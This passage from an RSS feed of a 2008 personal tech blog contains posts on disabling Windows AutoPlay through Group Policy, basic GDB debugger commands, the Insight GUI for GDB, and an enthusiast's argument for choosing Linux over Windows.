href=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SN5Za2dWehI/AAAAAAAAAWQ/eFT6EAfXaN0/s1600-h/grouppolicyeditor.JPG&quot; imageanchor=&quot;1&quot; linkindex=&quot;72&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img src=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SN5Za2dWehI/AAAAAAAAAWQ/Tdk7eiYEafk/s400-R/grouppolicyeditor.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt; 3. In the &lt;b&gt;Computer configuration&lt;/b&gt; collapse the Last option that is &quot;&lt;b&gt;Administrative Template&lt;/b&gt;&quot;. In the Administrative Template select &quot;&lt;b&gt;System&lt;/b&gt;&quot; options (do not double click or collapse it). In the split window you will see lot of options. These steps are shown below.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SN5bwTfJ-RI/AAAAAAAAAWY/7yMIM9GUV4M/s1600-h/system.JPG&quot; imageanchor=&quot;1&quot; linkindex=&quot;73&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img src=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SN5bwTfJ-RI/AAAAAAAAAWY/UA2IUJSmaEE/s400-R/system.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;4. In the split window scroll a little down and select option &quot;&lt;b&gt;turn off auto play &lt;/b&gt;&quot; and double click on it, you will get a pop up window as shown below.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt; &lt;a href=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SN5dlJM-dGI/AAAAAAAAAWg/UqD48HCOQOo/s1600-h/turnoff.JPG&quot; imageanchor=&quot;1&quot; linkindex=&quot;74&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img src=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SN5dlJM-dGI/AAAAAAAAAWg/2EiWTWCczk8/s400-R/turnoff.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SN5eSYQqiTI/AAAAAAAAAWo/70J2PK_bxrU/s1600-h/autoplayen.JPG&quot; imageanchor=&quot;1&quot; linkindex=&quot;75&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SN5eSYQqiTI/AAAAAAAAAWo/6LP0G9_kI-4/s400-R/autoplayen.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt; 5. By default the auto play is enabled in your computer i.e Turn Off auto play is disabled as shown in above picture. Now select &lt;b&gt;Enabled&lt;/b&gt;. Now from the drop down list &lt;b&gt;Turn Off Auto Play on&lt;/b&gt; select &lt;b&gt;All drives&lt;/b&gt;. (You will be given 2 options on CD-ROM and All drives I suggest you disable auto play on all drives). As shown below.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SN5hawS3ElI/AAAAAAAAAWw/58muW_2efkA/s1600-h/enabled.JPG&quot; imageanchor=&quot;1&quot; linkindex=&quot;76&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img src=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SN5hawS3ElI/AAAAAAAAAWw/at3kBnOasp4/s400-R/enabled.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;6. You are done now just click on &lt;b&gt;Apply &lt;/b&gt;and&lt;b&gt; OK.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b  style=&quot;color:red;&quot;&gt;&lt;span style=&quot;font-size:x-small;&quot;&gt;if you have any problem in doing this you can leave your question back as comment&lt;/span&gt; &lt;/b&gt;
</description>
<pubDate>Sat, 27 Sep 2008 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2008/09/disabling-auto-play-in-windows.html</link>
<guid isPermaLink="true">http://copyninja.info/2008/09/disabling-auto-play-in-windows.html</guid>
</item>



<item>
<title>GDB with GUI !!!!</title>
<description>Well I never knew about the GUI for GDB. My sir who posted a comment on my last GDB article asked me whether it comes with GUI ? and I googled it and here we go it is having GUI also. Well for all those who don't want to use the command line GDB this is a good news. Here i,m giving a few screen shots of it and also a link where you can get GDB GUI&lt;br /&gt;&lt;a href=&quot;http://sources.redhat.com/insight/&quot; linkindex=&quot;14&quot;&gt;http://sources.redhat.com/insight/&lt;/a&gt;&lt;br /&gt;This was actually developed by people working in Red Hat Inc. and Cygnus Solutions. In the link given above you can find all about GDB GUI&lt;br /&gt;&lt;br /&gt;Here is one screen shot i got from the link above&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SNZv-7qw9TI/AAAAAAAAAUw/_s-76S3y2GI/s1600-h/program-loaded.png&quot; imageanchor=&quot;1&quot; linkindex=&quot;15&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SNZv-7qw9TI/AAAAAAAAAUw/A9X_ZcU3eB4/s400-R/program-loaded.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;You can also download it from above stated link and its a ftp download.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Happy Debugging :) &lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 21 Sep 2008 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2008/09/gdb-with-gui.html</link>
<guid isPermaLink="true">http://copyninja.info/2008/09/gdb-with-gui.html</guid>
</item>



<item>
<title>GDB a GNU debugger</title>
<description>&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;font size=&quot;3&quot;&gt;&lt;font face=&quot;georgia&quot;&gt;GDB is a free debugger by GNU. Its a command line debugging facility used for debugging C,C++ and few other languages. Most of us are familiar with debugging in a Graphical Interface and feel awkward to use GDB. But GDB is a powerful debugger, once you know how to use it you won't be awkward to use it. Here i'm giving a few tips (which I know about GDB).&lt;br /&gt;&lt;/font&gt;&lt;/font&gt;&lt;ul&gt;&lt;li&gt;&lt;font size=&quot;3&quot;&gt;&lt;font face=&quot;georgia&quot;&gt;To debug a C or C++ program using GDB you must specify a switch during compile time i.e tell compiler to produce debugging information file. This can be done as follows&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;font size=&quot;3&quot;&gt;&lt;font face=&quot;georgia&quot;&gt;         gcc -ggdb filename.c or g++ -ggdb filename.cpp (you can also use cc or c++ and switch can be simply -g)&lt;br /&gt;&lt;/font&gt;&lt;/font&gt;&lt;ul&gt;&lt;li&gt;&lt;font size=&quot;3&quot;&gt;&lt;font face=&quot;georgia&quot;&gt;Once you have compiled the program without any errors, its time to launch gdb&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;font size=&quot;3&quot;&gt;&lt;font face=&quot;georgia&quot;&gt;         gdb a.out (or filename if you renamed the file during compilation)&lt;br /&gt;&lt;br /&gt;       You will command line of gdb which looks something like this (gdb)_&lt;br /&gt;      &lt;br /&gt;The commands in gdb are&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;run&lt;/span&gt; &lt;span style=&quot;font-style: italic;&quot;&gt;command line aruments&lt;/span&gt;: If your program doesn't take any command line arguments then simply specify run. This command starts your program.&lt;/font&gt;&lt;/font&gt;&lt;font face=&quot;georgia&quot;&gt;&lt;font size=&quot;3&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;break&lt;/strong&gt; place :Creates a breakpoint; the program will halt when it gets there. The most common breakpoints are at the beginnings of functions. You can also specify line numbers in source file where you want to place break point like break 20.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;delete&lt;/span&gt; N : Deletes break point at line N. Information about the break point can be got by using info break.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;step&lt;/span&gt; : Executes current line and stops at next line.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;next&lt;/span&gt; : Similar to step but when current line is function call next command executes the whole function and stops at next line to function call. Step enters the function and stops at first statement in function.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;finish&lt;/span&gt; : Keeps doing nexts, without stepping, until reaching the end of the current function.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;continue&lt;/span&gt; : Continues regular execution of the program until a breakpoint is hit or the program stops.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;print&lt;/span&gt; E : prints the value of E in the current framein the program, where E is a C expression (usually just a&lt;br /&gt;variable). &lt;span style=&quot;font-weight: bold;&quot;&gt;display&lt;/span&gt; is similar, except every time you execute a next or step, it will print out the&lt;br /&gt;expression based on the new variable values.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;where&lt;/span&gt; or &lt;span style=&quot;font-weight: bold;&quot;&gt;bt&lt;/span&gt; or &lt;span style=&quot;font-weight: bold;&quot;&gt;backtrace&lt;/span&gt; : prints chain of function call that brought the program to current point of execution.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;quit &lt;/span&gt;: Leaves GDB.&lt;br /&gt;&lt;br /&gt;If you want to know further functionality of gdb you should follow this link&lt;br /&gt;&lt;a href=&quot;http://www.delorie.com/gnu/docs/gdb/gdb_toc.html&quot;&gt;&lt;br /&gt;http://www.delorie.com/gnu/docs/gdb/gdb_toc.html&lt;/a&gt;&lt;/font&gt;&lt;font style=&quot;border-collapse: separate; color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot; class=&quot;Apple-style-span&quot; size=&quot;16&quot; face=&quot;'times new roman'&quot;&gt;&lt;font size=&quot;3&quot;&gt;&lt;strong&gt;&lt;font face=&quot;monospace&quot;&gt;&lt;font size=&quot;4&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;font style=&quot;font-weight: normal;&quot;&gt;Happy Debugging :)&lt;/font&gt;&lt;/font&gt;&lt;font style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/font&gt;&lt;/strong&gt;&lt;/font&gt;&lt;/font&gt;&lt;font style=&quot;border-collapse: separate; color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot; class=&quot;Apple-style-span&quot; size=&quot;16&quot; face=&quot;'times new roman'&quot;&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/font&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/font&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 21 Sep 2008 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2008/09/gdb-a-gnu-debugger.html</link>
<guid isPermaLink="true">http://copyninja.info/2008/09/gdb-a-gnu-debugger.html</guid>
</item>



<item>
<title>Why windows? Why not LINUX ????</title>
<description>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;font size='3'&gt;&lt;font face='georgia'&gt;We all started our computer basics in one of the &lt;font style='color: rgb(255, 0, 0); font-weight: bold;'&gt;&lt;font style='color: rgb(0, 0, 0);'&gt;Microsoft OS,&lt;/font&gt;&lt;/font&gt;&lt;font style='color: rgb(255, 0, 0);'&gt;&lt;font style='color: rgb(0, 0, 0);'&gt; may be Windows 98 or Windows XP. I also started my computer life with XP later i came accross the OS Linux, I was really amazed to see features Linux provides. This OS is having superb security features which windows OS normally lacks.&lt;br/&gt;To start with&lt;br/&gt;&lt;br/&gt;All windows user have common problem called &quot;virus&quot;, all (maximum) of windows OS software are commercial software, i.e we need to pay for it or get a pirated copy a punishable act but we still follow. Well what can we do we got windows OS from our computer vendor for free and we don't know whether it is Original version or Pirated but most of the times it'll be pirated. Since we are using pirated software we can't expect any technical support from the software vendors also. Along with all this we need a anti virus software which we may get for free but most of times it won't be much effective to get good anti virus software we need to pay or again use pirated. If i go on talking this problem list will never end.&lt;br/&gt;So now lets compare these facts with Linux&lt;br/&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;ul&gt;&lt;li&gt;&lt;font size='3'&gt;&lt;font face='georgia'&gt;&lt;font style='color: rgb(255, 0, 0);'&gt;&lt;font style='color: rgb(0, 0, 0);'&gt;Linux is a open source operating system i.e we get it for free. You need to pay a little amount if you want to get it on DVD, but you can download it for free and make your own DVD.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size='3'&gt;&lt;font face='georgia'&gt;&lt;font style='color: rgb(255, 0, 0);'&gt;&lt;font style='color: rgb(0, 0, 0);'&gt;Linux is not having any virus problem so no need of anti virus software(This is really what we wanted).&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size='3'&gt;&lt;font face='georgia'&gt;&lt;font style='color: rgb(255, 0, 0);'&gt;&lt;font style='color: rgb(0, 0, 0);'&gt;All software packages which are supplied with it are freewares, you also get technical support if you have any problem.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;font size='3'&gt;&lt;font face='georgia'&gt;&lt;font style='color: rgb(255, 0, 0);'&gt;&lt;font style='color: rgb(0, 0, 0);'&gt;Why no virus problem for Linux?&lt;br/&gt;In Linux you can not run a program without execute permission, unlike in windows all files with .exe extension are executable. You can run or use only those programs which are yours or of someone who is in your group. The program which run during system start up are Super User privileged. Only Super user can change ownership of any files and so on... With this much security its very hard to write a virus code for Linux.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Besides Linux provides support for programming and software development. It has inbuilt compilers for C, C++ java and many other languages. It also provides secure browsing, no need to be afraid of virus attack!! It provides many communication features like ftp,telnet,SSH(secure shell client) for remote log in and file transfer. You can also access windows clients for file transfer and printing and other activities using &lt;font style='font-weight: bold;'&gt;&quot;Samba&quot;  &lt;/font&gt;software. You can get more detail about this in these links&lt;br/&gt;&lt;br/&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;a href='http://us3.samba.org/samba/docs/SambaIntro.html'&gt;http://us3.samba.org/samba/docs/SambaIntro.html&lt;/a&gt;&lt;br/&gt;&lt;a href='http://en.wikipedia.org/wiki/Samba_%28software%29'&gt;http://en.wikipedia.org/wiki/Samba_(software)&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;Not only that you can also walk on the files all around the world using FISH protocol supported in KDE3.1 and higher. You can get more details about this in following link&lt;br/&gt;&lt;a href='http://www.linux.org/lessons/short/fish/index.html'&gt;http://www.linux.org/lessons/short/fish/index.html&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;New version of Linux distribution like Mandriva,Fedora Open SUSE are having good User interface and even the 3D desktop.&lt;br/&gt;&lt;br/&gt;You can also install windows programs in Linux using &lt;a href='http://http//www.winehq.org/'&gt;WINE(Windows Emulator)&lt;/a&gt;&lt;br/&gt;You can also install whole windows operating system in Linux using Virtual Machine like Virtual Box and Quemu which comes along with the Linux DVD and are freeware too!!&lt;br/&gt;&lt;br/&gt;We have all features of Windows and More than that !! Yet we Like Windows not Linux, Strange but fact.&lt;br/&gt;&lt;br/&gt;&lt;font size='2' style='color: rgb(255, 0, 0);'&gt;If any mistakes or if i've told something wrong please do write the comments&lt;/font&gt;&lt;br/&gt;&lt;font size='3'&gt;&lt;font face='georgia'&gt;&lt;font style='color: rgb(255, 0, 0);'&gt;&lt;font style='color: rgb(0, 0, 0);'/&gt;&lt;/font&gt;&lt;font style='color: rgb(255, 0, 0); font-weight: bold;'&gt;&lt;font style='color: rgb(0, 0, 0);'/&gt;&lt;/font&gt;&lt;font style='color: rgb(255, 0, 0);'/&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;
</description>
<pubDate>Sat, 20 Sep 2008 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2008/09/why-windows-why-not-linux.html</link>
<guid isPermaLink="true">http://copyninja.info/2008/09/why-windows-why-not-linux.html</guid>
</item>


</channel>
</rss>
